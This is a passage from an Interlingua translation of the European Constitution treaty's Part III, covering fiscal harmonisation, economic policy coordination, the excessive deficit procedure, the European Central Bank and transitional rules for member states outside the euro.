III-168(3), e le categorias de adjutas que es excludite del procedura mentionate in iste paragrapho. Le Consilio decide post consultation del Parlamento Europee.\nSECTION 6\nDISPOSITIONES FISCAL\nARTICULO III-170\n1. Necun Stato membro grava directe- o indirectemente le productos del altere Statos membros con impositiones interior, qualcunque pote esser lor natura, superior al impositiones que grava directe- o indirectemente le productos national similar. In ultra, necun Stato membro grava le productos del altere Statos membros con impositiones interior que pote proteger indirectemente altere productiones.\n2. Le productos exportate de un Stato membro verso le territorio de un altere Stato membro pote beneficiar de necun devolution de impositiones interior superior al impositiones con le quales illos ha essite gravate directe- o indirectemente.\n3. Quanto al impositiones distincte del taxas imponite super le volumine de negotios, le taxas imponite super consumos specific e le altere taxas indirecte imponite, on ni pote conceder exonerationes ni reimbursamentos al exportation verso le altere Statos membros ni imponer gravamines compensatori al importationes proveniente de Statos membros, a minus que le dispositiones projectate ha essite previemente approbate per un decision europee adoptate per le Consilio, per proposition del Commission, pro un periodo limitate.ARTICULO III-171\nUn lege o lege-quadro europee del Consilio establi mesuras concernente le harmonisation del legislationes relative al impostos super le volumine de negotios, le impostos super consumos specific e altere impostos indirecte, in tanto que iste harmonisation es necessari pro garantir le functionamento del mercato interior e pro evitar le distorsiones de concurrentia. Le Consilio decide per unanimitate, post consultation del Parlamento Europee e del Committee Economic e Social.\nSECTION 7\nDISPOSITIONES COMMUN\nARTICULO III-172\n1. Salvo si le Constitution dispone alteremente, le presente articulo se applica pro le realisation del objectivos mentionate in le articulo III-130. Le lege o lege-quadro europee establi le mesuras relative al approximation del dispositiones legislative, regulamentari e administrative del Statos membros que ha pro objecto le establimento e le functionamento del mercato interior. Iste lege o lege-quadro es adoptate post consultation del Committee Economic e Social.\n2. Le paragrapho 1 non se applica al dispositiones fiscal, al dispositiones relative al libere circulation de personas ni al dispositiones relative al derectos e interesses del laboratores salariate.\n3. Le Commission, in su propositiones presentate conformemente con le paragrapho 1 referente al approximation del legislationes in materia de sanitate, de securitate, de protection del ambiente e de protection del consumitores, se basa super un nivello elevate de protection, ponderante specialmente qualcunque novitate fundate super factos scientific. In le quadro de lor respective competentias, le Parlamento Europee e le Consilio se effortia equalmente pro obtener iste objectivo.\n4. Si, post le adoption de un mesura de harmonisation per un lege o un lege-quadro europee o per un regulamento europee del Commission, un Stato membro considera necessari mantener dispositiones national justificate per exigentias importante, mentionate in le articulo III-154, o relative al protection del ambiente natural o del ambiente del labor, iste Stato membro notifica al Commission iste dispositiones indicante le rationes de lor mantenimento.\n5. In ultra, sin prejudicio del paragrapho 4, si, post le adoption de un mesura de harmonisation in virtute de un lege o lege-quadro europee o de un regulamento europee del Commission, un Stato membro considera necessari establir nove dispositiones national fundate super novitates scientific relative al protection del ambiente natural o del ambiente del labor e justificate per un problema specific de iste Stato membro surgite post le adoption del mesura de harmonisation, illo notifica al Commission le dispositiones previste assi como motivation.\n6. Le Commission adopta, intra sex menses post le notificationes mentionate in le paragraphos 4 e 5, un decision europee que approba o rejecta le dispositiones national mentionate, post haber verificate si illos es o non es un medio de discrimination arbitrari o un restriction celate in le commercio inter Statos membros e si illos constitue o non un obstaculo al functionamento del mercato interior.\nSi le Commission non ha adoptate un decision in iste periodo, le dispositiones national mentionate in le paragraphos 4 e 5 es considerate como approbate.\nQuando illo es justificate per le complexitate del question, e in absentia de risco pro le sanitate human, le Commission pote notificar al Stato membro affectate que le periodo mentionate in le presente paragrapho se amplia per un periodo additional de maximalmente sex menses.\n7. Quando, in application del paragrapho 6, un Stato membro es autorisate pro mantener o establir dispositiones national derogante a un mesura de harmonisation, le Commission examina immediatemente le possibilitate de proponer un adaptation de iste mesura.\n8. Quando un Stato membro subleva un problema particular de sanitate public in un dominio que ha essite objecto de mesuras de harmonisation, iste Stato debe informar de illo al Commission, que examina immediatemente si il es sage de proponer mesuras adequate.\n9. Como derogation al procedura mentionate in le articulos III-360 e III-361, le Commission e qualcunque Stato membro pote recurrer directemente al Tribunal de Justitia del Union Europee si illos considera que un altere Stato membro abusa del poteres mentionate in le presente articulo.\n10. Le mesuras de harmonisation mentionate in le presente articulo include, in le casos appropriate, un clausula de salveguarda autorisante le Statos membros a adoptar, pro un o plure rationes non economic indicate in le articulo III-154, dispositiones provisori submittite a un procedura de controlo per le Union.ARTICULO III-173\nSin prejudicio del articulo III-172, un lege-quadro europee del Consilio establi le mesuras pro le approximation del dispositiones legislative, regulamentari e administrative del Statos membros que incide directemente in le establimento o le functionamento del mercato interior. Le Consilio decide per unanimitate, post consultation del Parlamento Europee e del Committee Economic e Social.ARTICULO III-174\nIn le caso que le Commission constata que un divergentia inter le dispositiones legislative, regulamentari o administrative del Statos membros falsa le conditiones de concurrentia super le mercato interior e provoca un distorsion que debe esser eliminate, illo consulta le Statos membros interessate.\nSi tal consultas non permitte obtener un accordo, le lege-quadro europee establi le mesuras necessari pro eliminar iste distorsion. Qualcunque altere mesuras appropriate mentionate in le Constitution pote esser adoptate.ARTICULO III-175\n1. Quando il existe le timor que le adoption o le modification de un disposition legislative, regulamentari o administrative national pote provocar un distorsion in le senso definite in le articulo III-174, le Stato membro que vole adoptar tal mesuras consulta le Commission. Post haber consultate le Statos membros, le Commission dirige al Statos interessate un recommendation re le mesuras appropriate pro evitar un tal distorsion.\n2. Si le Stato membro que vole adoptar o modificar dispositiones national non se conforma al recommendation que le Commission ha dirigite a illo, on non pote demandar al altere Statos, in application del articulos III-174, modificar lor dispositiones national pro eliminar iste distorsion. Si le Stato membro que non ha acceptate le recommendation del Commission provoca un distorsion unicamente in prejudicio proprie, le articulo III-174 non es applicate.ARTICULO III-176\nIn le quadro del establimento o del functionamento del mercato interior, le lege o lege-quadro europee establi le mesuras relative al creation de titulos europee pro garantir un protection uniforme del derectos de proprietate intellectual in le Union e al establimento de regimes de autorisation, de coordination e de controlo centralisate al nivello del Union.\nUn lege europee del Consilio establi le regimes linguistic del titulos europee. Le Consilio decide per unanimitate, post consultation al Parlamento Europee.\nCAPITULO II\nPOLITICA ECONOMIC E MONETARI\nARTICULO III-177\nPro obtener le scopos enumerate in le articulo I-3, le action del Statos membros e del Union include, al conditiones mentionate in le Constitution, le instauration de un politica economic fundate super le stricte coordination del politicas economic del Statos membros, le mercato interior e le definition de objectivos commun, e que on realisa in conformitate con le respecto al principio de un economia de mercato aperte e de libere concurrentia. Parallelmente, in le conditiones e secundo le proceduras mentionate in le Constitution, iste action implica un moneta unic, le euro, e le definition e application de un politica monetari e de un politica de cambio unic cuje objectivo principal es mantener le stabilitate de precios e, sin prejudicio de iste objectivo, le appoio del politicas economic general del Union, in conformitate con le principios de un economia de mercato aperte de libere concurrentia.\nIste action del Statos membros e del Union implica le respecto del sequente principios directive: precios stabile, financias public e conditiones monetari san e balancia stabile del pagamentos.\nSECTION 1\nPOLITICA ECONOMIC\nARTICULO III-178\nLe Statos membros conduce lor politicas economic con le objectivo de contribuer al realisation del objectivos del Union, definite in le articulo I-3, e in le contexto del grande orientationes general mentionate in le articulo III-179(2). Le Statos membros e le Union age in le respecto del principio de un economia de mercato aperte e de libere concurrentia, favorante un efficiente allocation de ressources e in conformitate con le principios mentionate in le articulo III-177.ARTICULO III-179\n1. Le Statos membros considera lor politicas economic como un question de interesse commun e los coordina in le sino del Consilio, in conformitate con le articulo III-178.\n2. Le Consilio, per recommendation del Commission, elabora un projecto pro le grande orientationes del politicas economic del Statos membros e del Union e presenta un reporto de illos al Consilio Europee.\nLe Consilio Europee, super le base del reporto del Consilio, debatte un conclusion re le grande orientationes del politicas economic del Statos membros e del Union. Conformemente con iste conclusion, le Consilio adopta un recommendation establiente iste grande orientationes. Le Consilio informa re illo le Parlamento Europee.\n3. A fin de garantir un collaboration plus stricte del politicas economic e un convergentia sustenite del resultatos economic obtenite del Statos membros, le Consilio, super le base de reportos presentate per le Commission, survelia le evolution economic in cata Stato membro e in le Union, assi como le coherentia del politicas economic con le grande orientationes mentionate in le paragrapho 2, e face regularmente un evalutation global.\nPro iste surveliantia multilateral, le Statos membros transmitte al Commission informationes re le mesuras importante que illos ha adoptate in relation con lor politica economic e qualcunque altere information que illos considera necessari.\n4. Quando, secundo le procedura mentionate in le paragrapho 3, on constata que le politicas economic de un Stato membro contradice le grande orientationes mentionate in le paragrapho 2 o pote poner in periculo le correcte functionamento del union economic e monetari, le Commission pote diriger un advertimento a iste Stato membro. Le Consilio, per proposition del Commission, pote diriger le recommendationes necessari al Stato membro concernite. Le Consilio pote decider, per proposition del Commission, facer public su recommendationes.\nIn le quadro del presente paragrapho, le Consilio prende decision sin considerar le voto del membro del Consilio que representa le Stato membro concernite.\nLe majoritate qualificate se defini como al minus 55% del altere membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste altere membros del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro; in caso contrari le majoritate qualificate es considerate como obtenite.\n5. Le Presidente del Consilio e le Commission face un reporto pro le Parlamento Europee re le resultatos del surveliantia multilateral. Si le Consilio ha facite public su recommendationes, on pote invitar su Presidente pro presentar se ante le commission competente del Parlamento Europee.\n6. Le lege europee pote establir le modalitates relative al procedura de surveliantia multilateral mentionate in le paragraphos 3 e 4.ARTICULO III-180\n1. Sin prejudicio del altere proceduras establite in le Constitution, le Consilio pote adoptar, per proposition del Commission, un decision europee establiente mesuras adequate al situation economic, in particular si surge difficultates grave in le approvisionamento de certe productos.\n2. Quando un Stato membro ha difficultates o un menacia seriose de difficultates grave per causa de catastrophes natural o eventos exceptional que iste Stato non pote controlar, le Consilio pote adoptar, per proposition del Commission, un decision europee per le qual on concede al Stato membro concernite, in certe conditiones, un adjuta financiari del Union. Le Presidente del Consilio informa de illo le Parlamento Europee.ARTICULO III-181\n1. Il es prohibite al Banca Central Europee e al bancas central del Statos membros, denominate hic \"bancas central national\", accordar discopertas o qualcunque altere typo de credito in favor de institutiones, organos o organismos del Union, administrationes central, autoritates regional o local o altere autoritates public, altere organismos o interprisas del Statos membros. Le acquisition directe per le Banca Central Europee o le bancas central national, del instrumentos de lor debito es equalmente prohibite.\n2. Le paragrapho 1 non se applica al establimentos public de credito que, in le quadro del provision de reservas per le bancas central, debe reciper del banca central national e del Banca Central Europee le mesme tractamento que le establimentos private de credito.ARTICULO III-182\nEs prohibite tote le mesuras e dispositiones que non se basa super considerationes prudential, que establi un accesso privilegiate del institutiones, organos o organismos del Union, administrationes central, autoritates regional o local, altere autoritates public o altere organismos o interprisas public del Statos membros, al institutiones financiari.ARTICULO III-183\n1. Le Union non responde del ingagiamentos del administrationes central, autoritates regional o local, altere autoritates public o altere organismos o interprisas public de un Stato membro sin prejudicio del garantias financiari mutual pro le realisation conjuncte de projectos specific. Un Stato membro non responde del ingagiamentos del administrationes central, autoritates regional o local, altere autoritates public, o altere organismos o interprisas public de un altere Stato membro, sin prejudicio del garantias financiari mutual pro le realisation conjuncte de projectos specific.\n2. Le Consilio pote, per proposition del Commission, adoptar regulamentos o decisiones europee que specifica le definitiones pro le application del prohibitiones mentionate in le articulos III-181 e III-182 e in le presente articulo. Le Consilio decide post consultation del Parlamento Europee.ARTICULO III-184\n1. Le Statos membros evita deficits public excessive.\n2. Le Commission survelia le evolution del situation budgetari e del nivello del quantitate del debito public del Statos membros con le fin de detectar errores manifeste. Illo examina in particular si le disciplina budgetari ha essite respectate super le base del duo criterios sequente:\na) si le proportion inter le deficit public previste o real e le producto interior brute supera un valor de referentia, a minus:\ni) que le proportion ha diminuite de maniera considerabile e continuate e ha arrivate a un nivello proxime al valor de referentia, o\nii) que le valor de referentia es superate solmente de maniera exceptional e temporari, e que le proportion se mantene proxime al valor de referentia;\nb) si le proportion inter le debito public e le producto interior brute supera un valor de referentia, a minus que le proportion diminue sufficientemente e se approxima a un rhythmo satisfactori al valor de referentia.\nLe valores de referentia es specificate in le Protocollo re le procedura concernente le deficits excessive.\n3. Si un Stato membro non compli le exigentias de un o plures de iste criterios, le Commission elabora un reporto, in le qual es considerate equalmente si le deficit public supera le dispensas public de investimento, assi como tote le altere factores pertinente, includite le situation economic e budgetari a medie termino del Stato membro. Le Commission pote equalmente elaborar un reporto si illo considera que, includite si le exigentias derivate del criterios se compli, existe le risco de un deficit excessive in un Stato membro.\n4. Le Committee Economic e Financiari, instituite conformemente con le articulo III-192, formula un aviso re le reporto del Commission.\n5. Si le Commission considera que un Stato membro presenta o pote presentar un deficit excessive, illo dirige un aviso a iste Stato membro e informa de illo le Consilio.\n6. Le Consilio, per proposition del Commission, considerante le possibile observationes del Stato membro concernite e post un evalutation global, decide si il existe un deficit excessive. In caso affirmative, le Consilio adopta sin demora injustificate, per recommendation del Commission, le recommendationes que illo dirige al Stato membro concernite con le scopo que illo pone fin a iste situation intra un periodo determinate. Salvo lo que es disponite in le paragrapho 8, iste recommendationes non se face public.\nIn le quadro del presente paragrapho le Consilio prende decision sin considerar le voto del membro del Consilio que representa le Stato concernite.\nLe majoritate qualificate se defini como al minus 55% del altere membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste altere membros del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si isto non es attingite, majoritate qualificate es considerate como obtenite.\n7. Le Consilio adopta, per recommendation del Commission, le decisiones europee e le recommendationes mentionate in le paragraphos 8 a 11.\nLe Consilio decide sin prender in consideration le voto del membro del Consilio qui representa le Stato concernite.\nLe majoritate qualificate se defini como un minimo de 55% del altere membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de ille altere membros del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si isto non es attingite, le majoritate qualificate es considerate como obtenite.\n8. Quando le Consilio adopta un decision europee constatante que il non ha habite alcun action effective in responsa a su recommendationes in le periodo fixate, illo pote facer public su recommendationes.\n9. Si un Stato membro persiste in non complir le recommendationes del Consilio, iste ultime pote adoptar un decision europee per le qual illo obliga iste Stato membro a adoptar, intra un periodo determinate, mesuras pro le reduction del deficit que le Consilio considera necessari pro remediar al situation. In un tal caso, le Consilio pote exiger del Stato membro concernite le presentation de un reporto secundo un calendario precise, a fin de poter examinar le effortios de adjustamento realisate per iste Stato membro.\n10. Tanto longe que un Stato membro non compli un decision europee adoptate in conformitate con le paragrapho 9, le Consilio pote decider applicar, o secundo le caso, reinfortiar un o plures del sequente mesuras:\na) exiger del Stato membro concernite que illo publica informationes additional, a precisar per le Consilio, ante de emitter obligationes e valores;\nb) invitar le Banca Europee de Investimentos a reconsiderar su politica de prestationes al Stato membro concernite;\nc) exiger que le Stato membro concernite effectua presso le Union un deposito sin interesse de un amonta appropriate usque al momento que le Consilio considera que le deficit excessive ha essite corrigite;\nd) imponer mulctas de un amonta appropriate.\nLe Presidente del Consilio informa le Parlamento Europee re le mesuras adoptate.\n11. Le Consilio abroga totes o certes del mesuras mentionate in le paragraphos 6, 8, 9 e 10, quando illo considera que le deficit excessive del Stato membro concernite ha essite corrigite. Si anteriormente le Consilio ha facite public su recommendationes, illo declara publicamente, ab le momento del abrogation del decision europee mentionate in le paragrapho 8, que le deficit excessive ha cessate de exister in iste Stato membro.\n12. Le derectos de recurso mentionate in le articulos III-360 e III-361 non pote esser exercite in le quadro del paragraphos 1 a 6, 8 e 9.\n13. In le protocollo re le procedura applicabile in le caso de un deficit excessive figura dispositiones complementari re le application del procedura establite in le presente articulo.\nUn lege europee del Consilio establi le mesuras appropriate in substitution del mentionate Protocollo. Le Consilio decide per unanimitate, post consultation del Parlamento Europee e del Banca Central Europee.\nSin prejudicio del restante dispositiones del presente paragrapho, le Consilio adopta, per proposition del Commission, le regulamentos o decisiones europee que establi le modalitates e le definitiones pro le application del mentionate Protocollo. Le Consilio decide post consultation del Parlamento Europee.\nSECTION 2\nPOLITICA MONETARI\nARTICULO III-185\n1. Le objectivo principal del Systema Europee de Bancas Central es mantener le stabilitate del precios. Sin prejudicio de iste objectivo le Systema Europee de Bancas Central appoia le politicas economic general del Union pro contribuer al realisation del objectivos del Union, definite in le articulo I-3. Le Systema Europee de Bancas Central age in conformitate con le principio de un economia de mercato aperte e de libere concurrentia, favorante un efficiente allocation de ressources in accordo con le principios mentionate in le articulo III-177.\n2. Le functiones basic correspondente al Systema Europee de Bancas Central es:\na) definir e executar le politica monetari del Union;\nb) realisar le operationes de cambio in conformitate con le articulo III-326;\nc) tener in deposito e gerer le reservas official de cambio del Statos membros;\nd) promover le bon functionamento del systemas de pagamento.\n3. Le paragrapho 2(c) se applica sin prejudicio del possession e gestion de manovra in cambios per le governamentos del Statos membros.\n4. Le Banca Central Europee es consultate:\na) re qualcunque acto del Union proponite intra le dominio de su attributiones;\nb) per le autoritates national re qualcunque projecto de regulamentation que entra in le dominio de su attributiones, ma intra le limites de e secundo le conditiones fixate per le Consilio conformemente con le procedura mentionate in le articulo III-187(4).\nLe Banca Central Europee pote presentar avisos al institutiones, organos o organismos del Union o al autoritates national re materias que entra in le dominio de su attributiones.\n5. Le Systema Europee de Bancas Central contribue al bon gestion del politicas que administra le autoritates competente con respecto al controlo prudential del establimentos de credito e al stabilitate del systema financiari.\n6. Un lege europee del Consilio pote confider al Banca Central Europee functiones specific concernente politicas relationate con le controlo prudential del establimentos de credito e altere establimentos financiari, con exception del interprisas de assecurantias. Le Consilio decide per unanimitate, post consultation del Parlamento Europee e del Banca Central Europee.ARTICULO III-186\n1. Le Banca Central Europee es le sol banca autorisate a emitter billetes de banca in euros in le Union. Le Banca Central Europee e le bancas central national pote emitter tal billetes. Le billetes de banca emittite per le Banca Central Europee e le bancas central national es le unic billetes legal in le Union.\n2. Le Statos membros pote emitter moneta metallic in euros, post approbation del volumine de emission per le Banca Central Europee. Le Consilio pote, per proposition del Commission, adoptar regulamentos europee establiente mesuras pro harmonisar le valores nominal e le specificationes technic del monetas destinate al circulation, in le mesura in le qual illo es necessari pro su bon circulation in le Union. Le Consilio decide post consultation del Parlamento Europee e del Banca Central Europee.ARTICULO III-187\n1. Le Systema Europee de Bancas Central es dirigite per le organos de decision del Banca Central Europee, que es le Consilio de Governatores e le Committee Executive.\n2. Le Statuto del Systema Europee de Bancas Central figura in le Protocollo fixante le Statuto del Systema Europee de Bancas Central e del Banca Central Europee.\n3. Le articulo 5(1, 2 e 3), le articulos 17 e 18, le articulo 19(1), le articulos 22, 23, 24 e 26, le articulo 32(2, 3, 4 e 6), le articulo 33(1)(a) e le articulo 36 del Statuto del Systema Europee de Bancas Central e del Banca Central Europee pote esser modificate per le lege europee:\na) sia per proposition del Commission e post consultation del Banca Central Europee;\nb) sia per recommendation del Banca Central Europee e post consultation del Commission.\n4. Le Consilio adopta le regulamentos e decisiones europee establiente le mesuras mentionate in le articulo 4, le articulo 5(4), le articulo 19(2), le articulo 20, le articulo 28(1), le articulo 29(2), le articulo 30(4) e le articulo 34(3) del Statuto del Systema Europee de Bancas Central e del Banca Commun Europee. Le Consilio decide post consultation del Parlamento Europee:\na) sia per proposition del Commission e post consultation del Banca Central Europee;\nb) sia per recommendation del Banca Central Europee e post consultation del Commission.ARTICULO III-188\nIn le exercitio del poteres e in le complimento del functiones e obligationes que le Constitution e le Statutos del Systema Europee de Bancas Central e del Banca Central Europee los ha attribuite, ni le Banca Central Europee ni un banca central national, ni qualcunque membro de lor organos de decision pote sollicitar o acceptar instructiones del institutiones, organos o organismos del Union, ni del governamentos, ni de qualcunque altere organo del Statos membros. Le institutiones, organos o organismos del Union, assi como le governamentos del Statos membros, se ingagia a respectar iste principio e a non cercar a influentiar le membros del organos de decision del Banca Central Europee e del bancas central national in le complimento de lor functiones.ARTICULO III-189\nCata Stato membro velia le compatibilitate de su legislation national, includite le Statuto de su banca central national, con le Constitution e con le Statuto del Systema Europee de Bancas Central e del Banca Central Europee.ARTICULO III-190\n1. Pro le complimento del functiones que es confidite al Systema Europee de Bancas Central, le Banca Central Europee, in conformitate con le Constitution e secundo le conditiones mentionate in le Statuto del Systema Europee de Bancas Central e del Banca Central Europee, adopta\na) regulamentos europee in le mesura necessari pro le complimento del functiones definite in le articulo 3(1)(a), in le articulo 19(1), le articulo 22 e le articulo 25(2) del Statuto del Systema Europee de Bancas Central e del Banca Central Europee, e in le casos mentionate in le regulamentos e decisiones europee mentionate in le articulo III-187(4);\nb) le decisiones europee necessari pro le complimento del missiones confidite al Systema Europee de Bancas Central per le Constitution e per le Statuto del Systema Europee de Bancas Central e del Banca Central Europee;\nc) recommendationes e avisos.\n2. Le Banca Central Europee pote decider de publicar su decisiones europee, recommendationes e avisos.\n3. Le Consilio adopta, in conformitate con le procedura mentionate in le articulo III-187(4), le regulamentos europee fixante le limites e le conditiones secundo le quales le Banca Central Europee es autorisate pro imponer mulctas coercitive al interprisas que non respecta su regulamentos e decisiones europee.ARTICULO III-191\nSin prejudicio del attributiones del Banca Central Europee, le lege o lege-quadro europee establi le mesuras necessari pro le utilisation del euro como moneta unic. Iste lege o lege-quadro es adoptate post consultation del Banca Central Europee.\nSECTION 3\nDISPOSITIONES INSTITUTIONAL\nARTICULO III-192\n1. In vista de promover le coordination del politicas del Statos membros, in tote le mesura necessari pro le functionamento del mercato interior, on crea un Committee Economic e Financiari.\n2. Le Committee ha le sequente functiones:\na) emitter avisos, per petition del Consilio o del Commission o a proprie initiativa, destinate a iste institutiones;\nb) surveliar le situation economic e financiari del Statos membros e del Union e informar de illo regularmente le Consilio e le Commission, in particular re le relationes financiari con tertie paises e con institutiones international;\nc) contribuer, sin prejudicio del articulo III-344, al preparation del labores del Consilio mentionate in le articulo III-159, le articulo III-179(2, 3, 4 e 6), le articulos III-180, III-183 e III-184, le articulo III-185(6), le articulo III-186(2), le articulo III-187(3 e 4), le articulos III-191 e III-196, le articulo III-198(2 e 3), le articulo III-201, le articulo III-202(2 e 3), e le articulos III-322 e III-326, e executar altere missiones consultative e preparatori que lo confide le Consilio;\nd) examinar, al minus un vice per anno, le situation relative al movimento de capitales e al libertate de pagamentos, resultante del application del Constitution e del actos del Union. Iste examine comprehende tote le mesuras relative al movimentos de capitales e al pagamentos. Le Committee informa le Commission e le Consilio re le resultato de iste examine.\nLe Statos membros, le Commission e le Banca Central Europee nomina, cata un de illos, un maximo de duo membros del Committee.\n3. Le Consilio adopta, per proposition del Commission, un decision europee fixante le proceduras relative al composition del Committee Economic e Financiari. Le Consilio prende decision post consultation del Banca Central Europee e de iste Committee. Le Presidente del Consilio informa le Parlamento Europee re un tal decision.\n4. Ultra le missiones exponite in le paragrapho 2, si e in le mesura que le Statos membros es le objecto de un derogation in le senso del articulo III-197, le Committee survelia le situation economic e financiari e le systema general de pagamentos de iste Statos membros e informa regularmente le Consilio e le Commission re iste thema.ARTICULO III-193\nPro le questiones comprehendite in le campo de application del articulo III-179(4), del articulo III-184 con exception del paragrapho 13, del articulos III-191 e III-196, del articulo III-198(3) e del articulo III-326, le Consilio o un Stato membro pote sollicitar al Commission de formular, secundo le caso, un recommendation o un proposition. Le Commission examina le requesta e presenta sin demora su conclusiones al Consilio.\nSECTION 4\nDISPOSITIONES SPECIFIC PRO LE STATOS CUJE MONETA ES LE EURO\nARTICULO III-194\n1. Con le fin de contribuer al correcte functionamento del Union economic e monetari e in conformitate con le dispositiones pertinente del Constitution, le Consilio adopta, conformemente con le procedura que corresponde con le proceduras mentionate in le articulos III-179 e III-184, con le exception del procedura mentionate in le articulo III-184(13), mesuras relative al Statos membros cuje moneta es le euro pro:\na) reinfortiar le coordination e surveliantia de lor disciplina budgetari;\nb) elaborar, pro lo que los concerne, le orientationes de politica economic referente a iste Statos, veliante lor compatibilitate con le orientationes adoptate pro le insimul del Union, e garantir lor surveliantia.\n2. Unicamente participa in le votationes re le mesuras mentionate in le paragrapho 1 le membros del Consilio que representa Statos membros cuje moneta es le euro. Le majoritate qualificate se defini como al minus 55% de iste membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste Statos del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si iste minoritate de blocada non es attingite, le majoritate qualificate es considerate como obtenite.ARTICULO III-195\nLe modalitates del reuniones inter ministros del Statos membros cuje moneta es le euro es fixate per le Protocollo re le Eurogruppo.ARTICULO III-196\n1. Pro garantir le position del euro in le systema monetari international, le Consilio adopta, per proposition del Commission, un decision europee establiente le positiones commun re le questiones que ha un special interesse pro le union economic e monetari in le sino del institutiones e conferentias financiari international competente. Le Consilio decide post consultation del Banca Central Europee.\n2. Le Consilio pote, per proposition del Commission, adoptar le mesuras adequate pro assecurar un representation unificate in le sino del institutiones e conferentias international. Le Consilio decide post consultation del Banca Central Europee.\n3. Unicamente participa in le votationes re le mesuras mentionate in le paragraphos 1 e 2 le membros del Consilio que representa le Statos membros cuje moneta es le euro.\nLe majoritate qualificate se defini como al minus 55% de iste membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste Statos del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si isto non es attingite, le majoritate qualificate es considerate como obtenite.\nSECTION 5\nDISPOSITIONES TRANSITORI\nARTICULO III-197\n1. Le Statos membros re le quales le Consilio non ha decidite que illos compli le conditiones necessari pro le adoption del euro es denominate hic \"Statos membros faciente le objecto de un derogation\".\n2. Le sequente dispositiones del Constitution non se applica al Statos membros faciente le objecto de un derogation:\na) adoption del partes del grande orientationes del politicas economic que concerne le zona euro de maniera general (articulo III-179(2));\nb) medios stricte pro remediar al deficits excessive (articulo III-184(9 e 10));\nc) objectivos e missiones del Systema Europee de Bancas Central (articulo III-185(1, 2, 3, e 5));\nd) emission del euro (articulo III-186);\ne) actos del Banca Central Europee (articulo III-190);\nf) mesuras relative al utilisation del euro (articulo III-191);\ng) accordos monetari e altere mesuras relative al politica de typos de cambio (articulo III-326);\nh) designation del membros del Committee executive del Banca Central Europee (articulo III-382(2));\ni) decisiones europee establiente le positiones commun re le questiones concernente special interesse pro le union economic e monetari in le sino del institutiones e del conferentias international competente (articulo III-196(1));\nj) mesuras pro assecurar un representation unificate in le sino del institutiones e conferentias financiari international (articulo III-196(2)).\nConsequentemente, in le articulos citate in le litteras a) a j) on intende pro \"Statos membros\" le Statos membros cuje moneta es le euro.\n3. Le Statos membros faciente le objecto de un derogation, e lor bancas central national, es excludite del derectos e obligationes in le quadro del Systema Europee de Bancas Central in conformitate con le Capitulo IX del Statuto del Systema Europee de Bancas Central e del Banca Central Europee.\n4. Le derectos de voto del membros del Consilio representante le Statos membros faciente le objecto de un derogation es suspendite quando le Consilio adopta mesuras mentionate in le articulos mentionate in le paragrapho 2, assi como in le casos sequente:\na) recommendationes dirigite al Statos membros cuje moneta es le euro in le quadro del surveliantia multilateral, includite le recommendationes relative al programmas de stabilitate e le advertimentos (articulo III-179(4));\nb) mesuras relative al deficits excessive concernente le Statos membros cuje moneta es le euro (articulo III-184(6, 7, 8 e 11)).\nLe majoritate qualificate se defini como al minus 55% de iste membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste Statos del Consilio que representa plus de 35% del population del Statos membros participantes, plus un membro. Si isto non es attingite, le majoritate qualificate es considerate como obtenite.ARTICULO III-198\n1. Un vice tote le duo annos al minus, o per petition de qualcunque Stato membro faciente le objecto de un derogation, le Commission e le Banca Central Europee face reporto al Consilio re le progressos realisate per le Statos membros faciente le objecto de un derogation in le complimento de lor obligationes del realisation del union economic e monetari. Iste reportos examina, in particular, si le legislation national de cata un de iste Statos membros, includite le statuto de lor banca central national, es compatibile con le articulos III-188 e III-189, assi como con le Statuto del Systema Europee de Bancas Central e del Banca Central Europee. Le reportos examina equalmente si on ha obtenite un alte grado de convergentia, analysante in qual mesura cata un de iste Statos membros ha complite le criterios sequente:\na) le realisation de un alte grado de stabilitate del precios, lo que se manifesta in un taxa de inflation proxime a illo del tres Statos membros, al maximo, que presenta le melior resultatos de stabilitate del precios;\nb) le financias public debe esser in un situation sustenibile, lo que se manifesta in un situation budgetari sin un deficit public excessive, in le senso del articulo III-184(6);\nc) le respecto, durante al minus duo annos, del margines normal de fluctuation previste per le mechanismo de taxas de cambios del systema monetari europee, sin devalutation de moneta con relation al euro;\nd) le character durabile del convergentia consequite per le Stato membro faciente le objecto de un derogation e de su participation in le mechanismo de taxas de cambio, que se reflecte in le nivellos del taxas de interesse a longe termino.\nLe quatro criterios mentionate in le presente paragrapho e le periodos pertinente durante le quales cata un de iste criterios debe esser respectate, es precisate in le Protocollo re le criterios de convergentia. Le reportos del Commission e del Banca Central Europee debe prender in consideration equalmente le resultatos del integration del mercatos, le situation e le evolution del balancias de pagamentos currente e un examine del evolution del costos salarial unitari e de altere indices de precios.\n2. Post consultation del Parlamento Europee e un discussion in le sino del Consilio Europee, le Consilio adopta, per proposition del Commission, un decision europee que determina qual Statos membros faciente le objecto de un derogation compli le conditiones necessari super le base del criterios mentionate in le paragrapho 1 e pone fin al derogationes del Statos membros concernite. Le Consilio prende decision post haber recipite un recommendation de un majoritate qualificate de su membros que representa le Statos membros cuje moneta es le euro. Iste Statos membros prende decision intra un termino de sex menses a partir del reception per le Consilio del proposition del Commission.\nLe majoritate qualificate mentionate in le paragrapho 2 se defini como al minus 55% de iste membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste Statos del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si iste minoritate de blocada non es attingite, le majoritate qualificate es considerate como obtenite.\n3. Si, conformemente con le procedura mentionate in le paragrapho 2, on decide poner fin a un derogation, le Consilio, per proposition del Commission, adopta regulamentos o decisiones europee fixante irrevocabilemente le taxa al qual le euro substitue le moneta del Stato membro concernite e establiente le altere mesuras necessari pro le introduction del 